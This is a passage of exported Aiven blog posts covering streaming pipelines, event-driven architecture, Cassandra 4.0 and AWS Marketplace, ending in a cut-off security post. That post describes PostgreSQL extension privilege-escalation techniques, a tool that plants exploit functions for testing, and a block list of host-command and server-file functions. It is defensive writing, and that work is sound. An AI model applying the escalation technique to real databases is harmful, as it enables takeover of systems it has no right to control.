overhead\nOne of the struggles with batch ingestion is the operational overhead which is introduced with extracting various different sources on different schedules. Data is frequently misaligned and often the solution to these failing tests is to wait an hour or two before rerunning the job. The reason for this might be a single failing extraction, which breaks the integrity of the data. Downtime is an unfortunate reality when working with databases, and with batch jobs dealing with these downtimes can be a headache, but with streaming and particularly Apache Flink it is easy to do recovery as it allows us to do transformations based on event time (rather than processing time), essentially leading to the data stream recovering without intervention.\n\nWith streaming data ingestion these scenarios are unlikely, as data is transmitted as soon as it is generated. Lastly, in streaming we have the luxury of using open-source tooling that has been tried and tested, namely Apache Kafka and Apache Flink. These tools are in such a mature state that once your pipeline is up and running it just works (magically). Since the tools are open-source there is also not a risk of being locked in to a specific vendor or software. The pricing is predictable and does not exponentially increase with the usage, actually quite the opposite, scale benefits frequently come into play when working with Kafka and Flink.\n\n### Conclusion\nWe can conclude that recent trends in the data space have only expedited the need to build the data warehouse around streaming. If the data department is not able to provide a reliable data interface which responds to the velocity of the business then the decisions will either go unanswered or business will be making decisions blindfolded. At Aiven we have managed to empower our analysts and business stakeholders by using open source tools like Apache Kafka and Apache Flink on our platform. One unintended consequence of working with Aiven’s platform has been the close collaboration we have developed with our own product function, helping them identify the friction which data engineers encounter in their day to day, which helps them build products that solve real world problems.\n\n\n## Further reading\n\n- [Near Real-Time ELT with Apache Kafka® \u0026 Snowflake](https://aiven.io/blog/near-real-time-elt-with-apache-kafka-and-snowflake/)\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"5xudGcikDUGEMuFsHkfr0z","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-12T08:23:13.169Z","seo":{"_type":"metaData","metaDescription":"The case for streaming over batch data continues to get stronger. Read on to see how our experience confirms this.","metaImage":{"alt":"","asset":{"_ref":"image-0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59-1567x844-png","_type":"reference"}},"metaTitle":"Empowering the Modern Data Stack with Streaming Data"},"slug":{"_type":"slug","current":"/blog/our-data-stack"},"subtitle":"The case for streaming over batch data continues to get stronger. Read on to see how our experience confirms this.","title":"Why streaming data is essential to empower the ‘Modern Data Stack' "}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5tcvRybcSkU7QRXuhXA7vZ","_rev":"ejVwHgKe5k9eDWbchrmYKu","_type":"post","_updatedAt":"2024-07-09T13:02:36Z","authors":[],"body":"Request-response is the traditional communication pattern used in computing and in most web applications. In web services, the standard approach is for a client to make a synchronous HTTP request, and then wait for a response from the web server. In a microservices architecture, request-response is also commonly used: a web server sends a connection request or query to a database, then waits for a response. For many use cases, this pattern — a chain of synchronous requests and responses — works well. Until it doesn't.\n\nWhat happens when one link in the chain goes down? Requests that are waiting for a response don’t receive one at all. They continue to wait, or they time out. The entire application is blocked. What's more, as the number of services increases, the number of synchronous interactions between them increases as well. In such a situation, a single system's downtime affects the availability of other systems as well.\n\nAn alternative approach is building a microservices application on an __event-driven architecture (EDA)__. Event-driven architecture is made up of __decoupled__ components — __producers__ and __consumers__ — which process events __asynchronously__, often working through an intermediary, called a __broker__. That might feel like a mouthful. Don't worry — we're going to walk through these concepts one step at a time. In this article, we're going to look at the components that make up event-driven architecture, why you would use this paradigm, and how to implement it.\n\nIn this post, you'll get a general overview of what event-driven architecture is and how you can make it work for you. Here's what we'll look at:\n\n- [Core concepts](#core-concepts)\n- [Using events to notify about state change](#using-events-to-notify-about-state-change)\n- [Using events to replicate state](#using-events-to-replicate-state)\n- [Event collaboration pattern](#event-collaboration-pattern)\n- [Transitioning to EDA with Apache Kafka](#transitioning-to-eda-with-apache-kafka)\n\n## Core concepts\n### 1. The event\nEverything in an event-driven architecture centers around the event. Put simply, an event is anything interesting that happens in your application. Events at all levels of your application, from the end-user client level down to the network connectivity level, may be noteworthy. \n\nHere are some examples of events:\n\n- A new user creating an account with your web application\n- An HTTP request being rejected by your API gateway for exceeding a rate-limiting threshold\n- A web server sending a query to the database for deleting a resource\n- A failed connection attempt by an API server trying to reach a key-value store\n\nAs you can see, what qualifies as an event is incredibly broad.\n### 2. The event *record*\nIf the occurrence of an event is to be captured, an event record is the data that captures that event. That data may include the following: \n\n- request IDs or header information\n- originating IP addresses\n- query statements\n- IDs of affected resources\n- timestamps\n- ... and so on\n\nBecause the sender of an event record (the producer, which we'll meet shortly) has no idea how that event will be consumed, it can only give a best guess as to what data to include in that record. Sometimes, all that is needed are the event's breadcrumbs – enough of a trail for the consumer to track down any additional information on its own if needed. [Designing an event record payload](https://aiven.io/blog/tips-for-designing-payloads \"Aiven blog: Tips for designing payloads\") can require some careful consideration.\n\n### 3. Producers and consumers\nIn an event-driven architecture with various services, producers and consumers are the primary actors that deal with events. Producers go to work when an event occurs, piecing together an event record and sending that record to some sort of capturer. On the other side, consumers check or listen for the occurrence of specific events, so that they can respond accordingly to those events.\n### 4. Streams\nJust now, we mentioned that a producer sends event records to some sort of capturer. To be more precise, producers write records of an event to a stream. A stream is a persistent and ordered sequence of event records. \n\nWhen an event occurs, producers send event records to the streams. Consumers watch the stream, waiting for the arrival or presence of certain kinds of events.\n### 5. Decoupled components\nWhile it might seem like there's an analogy between EDA and the request-response pattern (consumers request information about an event, while producers respond to the occurrence of an event by writing an event record) in EDA, producers and consumers are highly decoupled. They function independently of each other. \n\nProducers write events without any knowledge whatsoever about the consumers of those events. In fact, producers don't even know if there are any consumers of an event at all. \n\nMeanwhile, consumers only care that an event occurred, and are completely unaware of who the event producer is.\n\nIn EDA, because producers and consumers are highly decoupled, one service's outage or downtime no longer affects another service's availability. A producer, without any knowledge of its event consumers, will simply write event records. Even if all of an event's consumers are unavailable, the producer is unaffected. Similarly, a consumer simply listens for the presence of new event records but is otherwise unaffected if the producer of those events experiences downtime.\n### 6. Asynchronous interaction\nBecause producers and consumers are decoupled, their interactions are asynchronous. After a producer writes an event record to the stream, its job is done. The producer doesn't care when a consumer does something with that event record, or whether anything is ever done with that event at all.\n\nWith asynchronous interactions, a consumer may read that event from the stream immediately, or at a later stage depending on its load. The consumer could even read the event at the end of the week when some sort of task is scheduled for aggregation and analysis. The point is: Becasue an EDA is asynchronous, services do not depend on the immediate performance of functions from other services. They do their job, and they go on with their lives.\n### 7. Message brokers \nWhile producers and consumers are the primary actors in an EDA, we also need an intermediary to help facilitate the storage and availability of the event stream. A message broker is responsible for acquiring, storing, and delivering events to their consumers. A message broker should be highly reliable, scalable, and most importantly, ensure that it does not lose events on system failures.\n\nThere are two categories of message brokers defined by how they store data:\n\n1. __Store-backed__: These brokers store events in a data store to serve the consumers. They purge events from their store after delivering them to consumers. RabbitMQ and Apache ActiveMQ are examples of store-backed brokers.\n2. __Log-based__: These brokers store events in logs. The brokers persist the events even after their consumption. Since the events are not removed, the brokers allow consumers to replay events from a previous point in time. NATS and __Apache Kafka__ are examples of these types of brokers.\n\nApache Kafka is one of the most popular durable open-source message brokers that enables applications to process, persist, and re-process events or streams of data. We will discuss the architecture of Kafka and its approach to routing in detail in the next article in this series.\n\nPreviously, we emphasized the highly decoupled nature between producers and consumers in an EDA. It is worth noting here that there is some necessary coupling between the producer and the message broker, and between the consumer and the message broker. An effective EDA system  requires its message broker to be highly available for writing by producers. Similarly, both the store-backed and log-based brokers provide guarantees of event delivery.\n### 8. Event schema\nAn event schema is the prescribed shape for an event record in an EDA. This event schema functions like an agreed-upon contract between producers and consumers in the system. Producers are designed to publish event records that comply with the event schema specification, and consumers know what to expect when reading events from the stream. We at Aiven developed Karapace to keep track of schemas and related changes.\n\n## Using events to notify about state change\nNow that we've covered the core concepts of EDA, let's consider common use cases and patterns.\n\nBrokers such as Apache Kafka support the publish-subscribe pattern, in which consumers define the routing of messages to them. Since the routing is consumer-driven, any consumer can plug into the brokers to receive the events they are interested in without affecting other services.\n\nIn an EDA, any given service does not know whether other services exist. A service is only interested in specific state changes in the system, and then that service reacts to the change. For example, let’s say we have two services in an eCommerce application:\n\n1. __Orders Service__: To accept orders from the customers.\n2. __Shipping Service__: To ship the orders received.\n\n![A simple e-commerce application](//cdn.sanity.io/images/sczeoy4w/production/1c4bec02f253d46f99684caae7b59b47066f2619-2500x2083.png)\n\nWhen a customer places an order, the Orders Service updates its state and publishes the \"order received\" event to the message broker. The shipping service fetches the event and updates its state. Due to loose coupling between the services, we can extend the feature set of our application without modifying the existing services.\n\nLet’s assume that we want to add a pricing service to the application. This service updates a product’s price based on its demand. Then, we can plug in the new service as a consumer of the \"order received\" event without affecting the other services.\n![An e-commerce application with integrated pricing service](//cdn.sanity.io/images/sczeoy4w/production/f9124d424b8adac6de0766bddf6dc51a3d10c1d5-2500x2188.png)\n\n## Using events to replicate state\nIn the previous example, we used events to notify services of state changes. However, if the shipping service requires customer details, it would need to query some sort of customer service synchronously. The astute reader will likely realize that this type of synchronous interaction breaks the loose coupling between services. We can fix this problem with events.\n\nWe can use events to replicate the state from the customer service so that the shipping service can use its local state to read customer details. Whenever a customer updates shipping information, a \"customer data\" event is published to the message broker. The shipping service is subscribed to \"customer data\" events, reacting to those events by keeping its own local state of customer shipping information up-to-date at all times. This pattern is formally termed [event-carried state transfer](https://martinfowler.com/articles/201701-event-driven.html \"What do you mean by “Event-Driven”?\").\n\n![E-commerce application with customer data as events](//cdn.sanity.io/images/sczeoy4w/production/889160b887d05b1a837e5625fa875a0d21953c6e-2500x2188.png)\n\n## Event collaboration pattern\nMartin Fowler introduced a pattern called [Event Collaboration](https://martinfowler.com/eaaDev/EventCollaboration.html \"Event collaboration\") which enables a set of services to collaborate on a single business workflow. In this architecture, each service does its bit in the workflow by listening to events and creating new ones. The events are processed in an orchestrated manner by the services to complete an operation.\n\nIn the following diagram for an eCommerce application, we see the workflow that comes out of the interplay of different services and events. Some services create events while others consume them. Sometimes, a service consumes an event and then reacts by creating a separate event. Events can be associated with each other through the use of topics.\n\n![Event collaboration](//cdn.sanity.io/images/sczeoy4w/production/6590864be40e6eb9d2eee93c7d928bf43ef31f8b-2500x2188.png)\n\nAs you can see, no single service owns the process, and each service owns a subset of event transitions. The services only understand the event they require and the event they produce. Thanks to loose coupling, you can replace existing services or update services to raise more events without affecting the workflow, as long as you maintain compatibility with the produced event schema.\n## Transitioning to EDA with Apache Kafka\nAn Apache Kafka cluster is essentially a collection of log files filled with messages, spanning many nodes in a cluster. Kafka’s internals tie these log files together, reliably route messages between producer and consumer, replicate for fault tolerance, and gracefully handle failure. Kafka is a messaging system designed to address various use cases such as high-throughput streaming, durable and ordered message delivery, and long-term storage of large datasets. Kafka is a distributed, scalable messaging service which makes it an ideal backbone through which services can exchange events.\n\nWhen transitioning to an event-based architecture, it may seem daunting to think about architectural changes and infrastructure management at the same time. To focus on implementing an EDA with Apache Kafka, you can offload the infrastructure concerns with a fully managed Apache Kafka solution, such as [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\"), deployed and hosted with major cloud providers like AWS, Azure, and GCP.\n## Wrapping up\nIn this article, we covered the core concepts that make up event-driven architecture. We looked at events, the main actors (producers and consumers), the role of the message broker for facilitating event streams, and the advantages of EDA with its asynchronous and highly decoupled structure.\n\nThe message broker is critical to the design and effectiveness of an EDA with Apache Kafka making an excellent choice for its scalable, reliable, and fault-tolerant qualities. A fully managed solution, such as Aiven for Apache Kafka, let’s you focus on the EDA implementation while keeping your Kafka service up and running, at the size you need, and in the cloud region of your choice.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n::banner[We've got what you need!]{ctaText=\"Check out our free ebook for everything you always wanted to know about Apache Kafka, but were afraid to ask.\" ctaLink=\"https://aiven.io/ebook/apache-kafka-for-tech-leaders\" title=\"Want to know more about Apache Kafka®?\" theme=\"dark\"}\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- Get [introduced to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)","categories":[{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-550aa6bd0a079007741a893325cf86f8e4e202e5-1567x844-png","_type":"reference"}},"publishedAt":"2021-08-18T00:00:00.000Z","seo":{"metaDescription":"Goodbye request-response, welcome producers and consumers! Read on to discover event-driven architecture, the best way to build microservice applications.","metaImage":{"alt":"","asset":{"_ref":"image-550aa6bd0a079007741a893325cf86f8e4e202e5-1567x844-png","_type":"reference"}},"metaTitle":"Introduction to event-driven architecture"},"slug":{"_type":"slug","current":"/blog/introduction-to-event-driven-architecture"},"subtitle":"Goodbye request-response, welcome producers and consumers! Read on to discover event-driven architecture, the best way to build microservice applications.","title":"Introduction to event-driven architecture"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2kKw9AalJ9xFsiRsEBnTBD","_rev":"ejVwHgKe5k9eDWbchuQA9x","_type":"post","_updatedAt":"2024-07-11T12:38:01Z","authors":[],"body":"Apache Cassandra 4.0 is particularly noted for its improved stability, better performance, and faster speed. Cassandra 4.0 delivers up to 25% faster throughput on read and write operations and leverages Zero Copy Streaming to stream data up to 5 times faster.\n## What’s new\n\nHere are some of the key features introduced in Cassandra 4:\n- Enhanced Metrics via virtual tables\n- Workload replay with full query logging\\*\n- Audit logging for enhanced compliance\\*\n- Zero Copy Streaming\n\n\\*Not available yet, but will soon be included in Aiven for Apache Cassandra.\n\nFull details on all of the new features are listed on the Cassandra 4.0 web page:\n[https://cassandra.apache.org/doc/4.0/cassandra/new/index.html](https://cassandra.apache.org/doc/4.0/cassandra/new/index.html \"Official Apache Cassandra 4.0 release page\")\n## How to get started with Apache Cassandra 4.0\n\nUpgrade to Apache Cassandra 4.0 to take advantage of these features. If you already use Aiven for Apache Cassandra 3, you can easily run an in-place upgrade to start using the newest version.\n\nNot using Aiven for Apache Cassandra yet? Try out the latest Cassandra version with our free 30-day no-commitment trial.\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Migrate your Apache Cassandra® data into Aiven with sstableloader](https://aiven.io/blog/aiven-now-supports-sstableloader)","categories":[{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0e4984709cf90a7277d48aef88f5f32e2e10e8eb-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-16T00:00:00.000Z","seo":{"metaDescription":"Aiven now supports Apache Cassandra® 4.0. This is the first major version upgrade since Apache Cassandra® 3.0 was released in 2015.","metaImage":{"alt":"","asset":{"_ref":"image-0e4984709cf90a7277d48aef88f5f32e2e10e8eb-1567x844-png","_type":"reference"}},"metaTitle":"Announcing Apache Cassandra® 4.0"},"slug":{"_type":"slug","current":"/blog/announcing-apache-cassandra-4-0"},"subtitle":"Aiven now supports Apache Cassandra® 4.0. This is the first major version upgrade since Apache Cassandra® 3.0 was released in 2015.","title":"Announcing Apache Cassandra® 4.0"}
{"__i18n_lang":"en","_createdAt":"2023-04-06T12:22:01Z","_id":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_rev":"EgwF35ASC1zRU1qyhdtfSj","_type":"post","_updatedAt":"2024-05-27T12:36:18Z","authors":[{"_key":"6a165f074aff","_ref":"88df9be3-cf62-449e-85f6-dbfe05cb477f","_type":"reference"}],"body":"Customers love using Aiven services together with services from hyper scale cloud providers. Amazon Web Services (AWS) launched its first cloud computing services back in 2006, becoming the first hyper-scale cloud computing provider in the process. Since then, it has continued to innovate and has accelerated its famous 'pace of innovation', ever since, establishing a durable position as the hyper scale market leader.\n\nGiven this, it's not surprising that many Aiven customers are also AWS customers, and are already using Aiven services with AWS services. Many of these customers have told us that they are looking for ways to simplify their usage and consumption of Aiven's portfolio of open source data infrastructure services. \n\nWe’re excited to announce that the full power of Aiven’s open source data platform is now seamlessly available to AWS customers via the AWS Marketplace. This is an important milestone in our AWS partnership and will deepen our collaboration with AWS.\n\n## What’s new?\nWith today’s announcement, customers purchasing Apache Kafka® as a fully managed service from Aiven now have access to the complete  Aiven portfolio via self-service from AWS Marketplace. This includes the following products:\n\n- Aiven for Apache Kafka®\n- Aiven for Apache Kafka® Connect\n- Aiven for Apache Kafka® MirrorMaker 2\n- Aiven for Apache Flink®\n- Aiven for Apache Cassandra®\n- Aiven for ClickHouse®\n- Aiven for M3\n- Aiven for M3 Aggregator\n- Aiven for OpenSearch®\n- Aiven for PostgreSQL®\n- Aiven for MySQL\n- Aiven for Caching\n- Aiven for InfluxDB®\n- Aiven for Grafana®\n\n\nAiven’s platform provides the most popular open source technologies such as Apache Kafka, PostgreSQL®, OpenSearch® and more, all managed from a single, easy-to-use console for countless use cases. These include databases and data warehouses, streaming, observability and analytics. All services are fully managed with a guaranteed uptime of 99.99%. \n\nThe comprehensive availability of Aiven’s services in AWS Marketplace provides simple access and centralized billing. Customers can leverage their existing commitments with AWS to expand their tech stack with Aiven open source services. They can also take advantage of the 40+ AWS service connectors such as CloudWatch, S3, VPC peering, Transit Gateway and Private Link for seamless integrations and security with existing AWS workloads.\n\n## How GLOBO provides omnichannel services with Aiven and AWS\n[GLOBO](https://www.helloglobo.com/) is a B2B provider of translation technology and services, enabling organizations to communicate with their customers in any language through a simple platform. Its omnichannel services include on-demand interpreting, translation, localization and more. According to Jonathan De Jong, the VP of Engineering at GLOBO, partnering with Aiven and AWS has been crucial for the company's success, enabling it to focus on its core business activities. De Jong explains, \"What we built with Aiven and AWS was the ability to hyperscale our database, we kind of outsourced the ability to build a highly available platform. This is something really important for a small team - to not need that expertise in-house and to have the teams at Aiven and AWS give us those capabilities.\"\n\n::youtube[How GLOBO provides omnichannel services with Aiven and AWS]{#NWrKM2xSk0Y}\n\n\n## Getting started\n1. Go to the Aiven Managed Database Services listing in the AWS Marketplace\n![Step1](https://cdn.sanity.io/images/sczeoy4w/production/036486c69197741c594a09952ee48a9e5a84f8c3-1999x1944.png)\n\n2. Click the purchase options\n\n3. Click “subscribe”\n\n4. Click “Set up your account”\n![Step4](https://cdn.sanity.io/images/sczeoy4w/production/9d8a0b12b3a36aae655955d50f330b298672af24-1999x1944.png)\n\n5. On the Aiven sign up screen, either log in or sign up as a new user\n![Step5](https://cdn.sanity.io/images/sczeoy4w/production/751fa971ceded82d565c7dbe43180211b845cfc9-1999x1944.png)\n\n6. If you are signing up for the first time, fill in the details\n![Step6](https://cdn.sanity.io/images/sczeoy4w/production/3af6930c8fa040ed753975eae2479a0c6cf82a70-1999x1751.png)\n\n7. Confirm the email address by clicking the link in the email you have received from Aiven\n![Step7](https://cdn.sanity.io/images/sczeoy4w/production/b5322459bf9b5a8fc3e9fed55e13121653aadfb4-1398x1116.png)\n​​\n8. Confirm the subscription\n![Step8](https://cdn.sanity.io/images/sczeoy4w/production/4e2674bb7e3a0129e7efe8d79842e589bf3bda93-1999x1751.png)\n\n9. Click “Complete subscription” and fill in the details for your organization and project. You can also invite other users directly to the organization\n![Step9](https://cdn.sanity.io/images/sczeoy4w/production/e96866e067254339fb14770d55462dd2d78c6472-1566x1976.png)\n\n10. Log in to Aiven Console and create services in the console\n\n## What’s included in the AWS Marketplace offering?\nJust like other Aiven customers, the basic level of support is automatically included in the price. \nHigher support tiers are available for purchase from the [Aiven website](https://aiven.io/support-services). \n\nWe measure usage hourly, and bill monthly based on actual usage during the previous month. You can track your service spend and the prices of the services are also shown in the Aiven Console.\nYou can power down services and power them back up when needed. Everything works automatically behind the scenes.\n\nLearn more about our [AWS partnership here](https://aiven.io/aws) and check out [Aiven on the AWS Marketplace](https://aws.amazon.com/marketplace/pp/prodview-vylwtm6t2c7fk).\n\n","categories":[{"_key":"6eed86e1fad1","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven Expands Data Platform on AWS Marketplace","asset":{"_ref":"image-8b626216b6356e4dd7894310f36ca825487d63b1-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-06T12:21:40.611Z","related":[{"_key":"55a8a4a4b3b4","_ref":"7I5ab8PEr0f1APEB3xRV1U","_type":"reference"},{"_key":"f882d253a3e2","_ref":"6DVg3fOD4cOwMcfEr9LlNF","_type":"reference"},{"_key":"a8a0cbd36357","_ref":"7pPPWL2R9JeqibNH0wFF2I","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven’s services in AWS Marketplace provides simple access and centralized billing. Customers can leverage their existing commitments with AWS","metaTitle":"Aiven data platform on AWS Marketplace"},"slug":{"_type":"slug","current":"/blog/aiven-expands-data-platform-on-aws-marketplace"},"subtitle":"Customers now have access to the complete  Aiven portfolio via self-service from AWS Marketplace.","title":"Aiven Expands Data Platform on AWS Marketplace"}
{"__i18n_lang":"en","_createdAt":"2022-09-07T06:39:25Z","_id":"2Va7O1NNr3ohBFsYZh1yeq","_rev":"VeNKqGNmt13PzvGhqsSJ4A","_type":"post","_updatedAt":"2024-01-29T15:40:47Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"}],"body":"## The problem… \nAiven provides PostgreSQL® as a Database as a Service (DBaaS). As part of the service offering, customers are given a privileged user (avnadmin). The [superuser](https://www.postgresql.org/docs/current/role-attributes.html \"Role attributes on the PostgreSQL project page\") privilege, however, is not given to this user. Superuser access allows bypassing all permission checks and provides the ability to reconfigure the database, something we don't want from a manageability stand-point. The superuser privilege also provides access to functions that allow interaction, reading files and executing programs, on the underlying host. \n\nA database is useful, but can be made even more useful through extensions. PostgreSQL supports a plethora of useful extensions, and we in turn want to ensure our customers can use those extensions. Unfortunately, due to the design of PostgreSQL, most extensions require elevated (superuser) permissions for installation. This creates a security conundrum: how to allow customers to install extensions without superuser access?\n## Working as intended?\nThe struggle with many (or even most) security issues is that they are only *contextually* security issues. They’re actually features that you want in most contexts. The security industry struggles with this, often making hot-headed declarations about how inadequate the architectural design work or even the competence of the developers represents the real problem. As stated, this is exacerbated in the case of a Database Platform-as-a-Service such as Aiven. We sell peace of mind and confidence that our customers can trust us to take care of their data under all circumstances. \n\nHow to provide this balance between the three competing forces of application designers, the security (and compliance) industry, and customer trust? We need to make sure that customers have the full benefit of the service without unnecessary risk, __and__ we need to ensure that we share the burden with the customer as we have this common interest. \n## More Vulnerabilities = More Patches\nWe continue to experience this hamster wheel of pain as new security vulnerabilities are found and patched on a near-constant basis. When you’re working as intimately with customer data as we do at Aiven, every maintenance activity is a potential risk to our customer’s most important asset and even their ability to function. \n\nWe work hard with our post-sales Solution Architect group to make sure that customers have architected their Aiven services to be as resilient, available, and fault-tolerant as possible - but maintenance events aren’t free. Looking back to December 2021, we experienced [0december](https://aiven.io/blog/security-updates-grafana-and-log4j \"Security update: Grafana and Log4j | Aiven blog\") and had a series of maintenance events piling one on top of the other as the Log4j project released new patches in rapid succession. \n## Symptomatic patching\nThis pattern of vulnerability → patch → vulnerability-with-slight-variation → patch-of-slightly-different-trigger-conditions → vulnerability-permutation-number-3 → patch-which-catches-a-few-additional-permutations is extremely costly to all parties involved. And yet, too often, the capacity or capabilities of an open source development team is simply not sufficient to provide a durable fix for a whole class of vulnerabilities. \n\nIn my opinion, this is one of the greatest failures of the big companies that profit through the use of open source software - they seem unwilling to pay for the proper (often expensive) architectural changes necessary to truly remediate the problem. This symptomatic patching cycle is what the open source world has to accept as their best effort. Developers find this just as frustrating as users of their projects do, if not more so! \n\nI’d encourage anyone in the security industry to put yourself in the developers’ place before you point fingers and say “not good enough” - it must be completely mentally exhausting to do your best for the greater good and find yourself getting kicked while you’re already down. \n\n## Taking a different approach\nOne of the many reasons I wake up happy to go to work every day is that Aiven’s investors, Board of Directors, and executive team have [empowered me to take a different approach](https://aiven.io/open-source \"Aiven ❤️ Open Source\") to this endless cycle of patching for symptoms. \n\nAbout six months ago, we started seeing an increase in bug bounty and internal product security findings related to issues in PostgreSQL extensions. We were experiencing this cyclical pain on behalf of the developers who work so hard on these extensions. We had to be the bearer of bad news and sometimes have multiple discussions about the same package with the same exhausted developers. Thankfully, we have a fantastic team here at Aiven and our Security Architect [Etienne Stalmans](https://twitter.com/_staaldraad \"Etienne Stalmans on Twitter\") hit upon a viable mitigation to the entire class of extension-related problems we had seen.\n\nIt’s not a complete solution. A complete solution would be to re-engineer PostgreSQL fundamentals that have existed for decades. But it’s a whole lot better than nothing at all!\n## PostgreSQL extensions and how Aiven implements them\nIn order to understand the solution, let’s examine how Aiven implements extension management for our customers. This gets a little technical, so I’ll quote Etienne directly:\n\n*Aiven allows customers to enable a [predefined list of extensions](https://aiven.io/docs/products/postgresql/reference/list-of-extensions). To get around the requirement of superuser access to install extensions, the [pgextwlist](https://github.com/dimitri/pgextwlist) extension is used to allow creation of extensions from a lower privileged user. pgextwlist functions by first elevating privileges to the default superuser, postgres, and then running the extension install scripts. This now exposes Aiven to the risk of privilege escalation attacks. This is clearly documented in PostgreSQL: [https://www.postgresql.org/docs/current/sql-createextension.html](https://www.postgresql.org/docs/current/sql-createextension.html).*\n\n*Should an extension installation script be written in an insecure manner, unfortunately a very common occurrence despite the [warnings in PostgreSQL documentation](https://www.postgresql.org/docs/current/extend-extensions.html#EXTEND-EXTENSIONS-SECURITY \"38.17.6. Security Considerations for Extensions\"), it would be possible for users to gain superuser privileges.*\n\n*Another common misconfiguration in extensions, which allows privilege escalation post extension creation, is the use of SECURITY DEFINER without schema qualifying functions within the SECURITY DEFINER function. Because the extension is created by the superuser, the SECURITY DEFINER functions will execute with superuser privileges. This can easily be abused to execute attacker controlled functions with elevated privileges.*\n\nThis balance between enabling customers and having Bad Things™ occur is a constant battle to ensure positive outcomes for our customers. \n## Are my extensions hostile?\nA nearly unanswerable question posed as we saw the increased number of these inbound issues with PostgreSQL extensions was how to do a better job of finding them ourselves? Enter [pghostile](https://github.com/aiven/pghostile) - an internal tool developed by the Security Engineering team, that we’re excited to open source today!  \n\nFrom the project readme.md:\n\n*Pghostile can make PostgreSQL an hostile environment for superusers and a nice playground for attackers. Pghostile is an automated tool for overriding \"system\" functions (the ones from the 'pg_catalog' schema) allowing an attacker to elevate privileges if/when these functions are called by a superuser.*\n\n*It can be also used to test the security of the PostgreSQL extension. You can run pghostile to create the \"exploit functions\" and then run the extension's unit tests and see if you get superuser power after that.*\n\nAs it turns out, there are a lot of these sorts of issues in PostgreSQL - pghostile checks for about 900 of them at this time (pull requests welcome!). We are joining some excellent company with this release. The fantastic tool [pgspot](https://github.com/timescale/pgspot) by Sven Klemm from Timescale allows for easily identifying common misconfigurations in PostgreSQL extensions. \n## Securing extension privilege escalation\nOpen-sourcing a tool that helps look for even more of these vulnerable extensions sounds like a “typical security move” - making things worse instead of better. That’s not the Aiven way at all - our values of Ownership, Openness, and Courage push us to be better than that. We needed to protect our customers from this entire class of extension-based privilege escalation attacks, but we could also go ahead and help protect the other millions of PostgreSQL databases out there if we went ahead and open sourced the solution we built for our customers. \n\n[The Aiven Security Agent for PostgreSQL](https://github.com/aiven/aiven-pg-security) (aiven-gatekeeper) allows controlling which privileged functions are exposed and prevents their abuse in common privilege escalation attacks controlling which functions are available in elevated contexts, such as extension creation and security definer functions.\n\nThe agent is loaded as a shared library at PostgreSQL server startup and uses the UtilityProcess hook to intercept the utility function execution before the PostgreSQL engine executes them. A security decision can be made by examining the current execution state and determining if a privileged action should be allowed or not.\n\nThe agent uses the following three criteria for making a risk assessment before allowing or disallowing a function:\n\n- `creating_extension`\n  - The function executes during the CREATE EXTENSION function.\n- `is_elevated`\n  - The execution context is deemed to be \"elevated\" when the current_user is a superuser but the session_user does not have the superuser privilege. This occurs during CREATE EXTENSION or SECURITY DEFINER function execution.\n- `is_security_restricted`\n  - PostgreSQL can set the current execution context to SECURITY RESTRICTED and already limits some of the actions that can be performed during this context. The agent complements these existing restrictions.\n\nThe security agent examines three primary utility functions:\n\n- ALTER/CREATE/GRANT ROLE\n  - When altering, creating or granting a role with the superuser privilege.\n  - Prevent granting the privileged permissions: `pg_read_server_files`, `pg_write_server_files`, `pg_execute_server_program`\n- Prevent adding a role to an existing role with the above privileges.\n- COPY TO/FROM PROGRAM\n  - This is normally reserved for the superuser or roles with the `pg_execute_server_program` permission. This is always blocked, regardless of the context. There is no reason, on the Aiven platform, for execution of underlying host commands from within PostgreSQL\n- COPY TO/FROM FILE\n  - This functionality is normally reserved for the superuser or roles with the `pg_read_server_files` or `pg_write_server_files` permission. This is blocked during an 